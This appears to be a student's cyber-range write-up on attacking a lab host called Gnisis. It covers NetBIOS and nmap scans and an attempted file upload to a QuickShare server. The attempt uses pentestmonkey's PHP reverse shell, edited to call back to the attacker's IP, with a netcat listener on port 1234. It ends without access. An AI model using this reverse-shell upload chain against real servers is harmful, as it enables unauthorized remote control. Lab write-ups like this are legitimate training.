

Gnisis

Sunday, 9 October 2022 7:24 PM

After using an nbtscan command

`nbtscan 192.168.2.0/24`

```
(kali@kali)~[~/Desktop/gnisis]
$ nbtscan 192.168.2.0/24
Doing NBT name scan for addresses from 192.168.2.0/24
```

IP address	NetBIOS Name	Server	User	MAC address
192.168.2.4	CALDERA	<server>	<unknown>	08:00:27:21:b0:95
192.168.2.10	BALMORA	<server>	<unknown>	08:00:27:0e:55:99
192.168.2.12	ALDRUHN	<server>	<unknown>	08:00:27:28:a8:a2
192.168.2.15	GNISIS	<server>	<unknown>	08:00:27:89:08:0f
192.168.2.20	TEL-MORA	<server>	TEL-MORA	00:00:00:00:00:00
192.168.2.155	SNOWHAWK	<server>	SNOWHAWK	00:00:00:00:00:00

Gnisis's IP is 192.168.2.15

Ran two nmap scans:

`nmap -p- 192.168.2.15`

This shows all the ports open and is quick

`#!/bin/bash`

```
ports=$(nmap -p- --min-rate=1000 -T4 192.168.2.15 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/, $//)
```

`nmap -p$ports -vv -O -sC -sV 192.168.2.15`

This script shows more detailed output

Services running on ports

```
(kali@kali)~[~/Desktop/gnisis]
$ nmap -p- 192.168.2.15
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-09 07:25 EDT
Nmap scan report for 192.168.2.15
Host is up (0.0086s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
5985/tcp   open  wsman
42000/tcp  open  unknown
47001/tcp  open  winrm
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49176/tcp  open  unknown
49192/tcp  open  unknown
49193/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 22.18 seconds
```

Port 80 seems to be running a filesharing service "quick share"

According to an [exploit](#) I found on exploit-db,

"QuickShare File Server is a easy to use file sharing software helps you build your own file server.

Users could access your server through web browsers or FTP client softwares (In most case, they need not to install any extra softwares). Users could send or receive large files to or from you. You could create account and set password to protect your files"

Uploading a txt file to the server to see where my file is saved

```
(kali@kali)~[~/Desktop/gnisis]
$ touch test.txt
```

kal

The txt file was uploaded here

QuickShare File Server






Enjoy the happiness of sharing!

[Home](#) | [Parent Directory](#)

[Browse...](#)

No file selected.

[upload](#)

	Name	Size	Modified
	My Music/	<dir>	2020-06-26 08:19
	My Pictures/	<dir>	2020-06-26 08:19
	My Videos/	<dir>	2020-06-26 08:19
	desktop.ini	402 B	2020-06-26 08:19
	test.txt	4 B	2021-08-02 01:44

Powered by **QuickShare File Server**

[Home](#) | [Parent Directory](#)

Using the [php-reverse-shell](#) file on pentest monkey and following their walkthrough

Downloading the tar.gz zipped file

```
(kali㉿kali)-[~/Desktop/gnisis]
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
--2022-10-09 08:31:05-- http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
Resolving pentestmonkey.net (pentestmonkey.net) ... 185.224.138.156, 2a02:4780:8:288:0:9b4:b08b:1
Connecting to pentestmonkey.net (pentestmonkey.net)|185.224.138.156|:80 ... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz [following]
--2022-10-09 08:31:06-- https://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
Connecting to pentestmonkey.net (pentestmonkey.net)|185.224.138.156|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9018 (8.8K) [application/gzip]
Saving to: 'php-reverse-shell-1.0.tar.gz'

php-reverse-shell-1.0 100%[=====>] 8.81K --.-KB/s 0:00:00
2022-10-09 08:31:07 (2.68 MB/s) - 'php-reverse-shell-1.0.tar.gz' saved [9018/9018]
```

Unzipping the file

```
(kali㉿kali)-[~/Desktop/gnisis]
$ tar -xzf php-reverse-shell-1.0.tar.gz

(kali㉿kali)-[~/Desktop/gnisis]
$ ls php-reverse-shell-1.0
CHANGELOG  COPYING.GPL  COPYING.PHP-REVERSE-SHELL  php-reverse-shell.php
```

Kali's IP is 10.8.0.120

```

(kali㉿kali)-[~/Desktop]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:ad:a8:d3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.38/24 brd 192.168.0.255 scope global dynamic eth0
        valid_lft 67647sec preferred_lft 67647sec
    inet6 fe80::a00:27ff:fead:a8d3/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:55:84:02 brd ff:ff:ff:ff:ff:ff
    inet 192.168.57.8/24 brd 192.168.57.255 scope global dynamic eth1
        valid_lft 488sec preferred_lft 488sec
    inet6 fe80::a00:27ff:fe55:8402/64 scope link
        valid_lft forever preferred_lft forever
5: cscotun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 134.7.197.213/23 brd 134.7.197.255 scope global cscotun0
        valid_lft forever preferred_lft forever
    inet6 fe80::3903:ac2:9311:493b/64 scope link stable-privacy
        valid_lft forever preferred_lft forever
8: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.8.0.120/24 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 fe80::517b:7ea9:39ef:48b4/64 scope link stable-privacy
        valid_lft forever preferred_lft forever

```

Changing the values in the php file to get a reverse shell from the target machine

```

$ip = '10.8.0.120'; // CHANGE THIS
$port = 1234; // CHANGE THIS






```

Uploading the php file

QuickShare File Server

Enjoy the happiness of sharing!

Home | Parent Directory

	Name	Size	Modified
	My Music/	<dir>	2020-06-26 08:19
	My Pictures/	<dir>	2020-06-26 08:19
	My Videos/	<dir>	2020-06-26 08:19
	desktop.ini	402 B	2020-06-26 08:19
	test.txt	4 B	2021-08-02 01:44

Powered by QuickShare File Server

Home | Parent Directory

Setting up a listener on port 1234

```

(kali㉿kali)-[~/Desktop]
$ nc -lvnp 1234
listening on [any] 1234 ...







```

Clicking on the uploaded php file will run it

Browse...

No file selected.

upload

	Name	Size	Modified
	My Music/	<dir>	2020-06-26 08:19
	My Pictures/	<dir>	2020-06-26 08:19
	My Videos/	<dir>	2020-06-26 08:19
	desktop.ini	402 B	2020-06-26 08:19
	php-reverse-shell.php	5 KB	2021-08-02 02:26
	test.txt	4 B	2021-08-02 01:44

There was no way for me to gain access on gnisis

After checking the PTD forum the only way is to get a golden ticket and the cyber range is having issues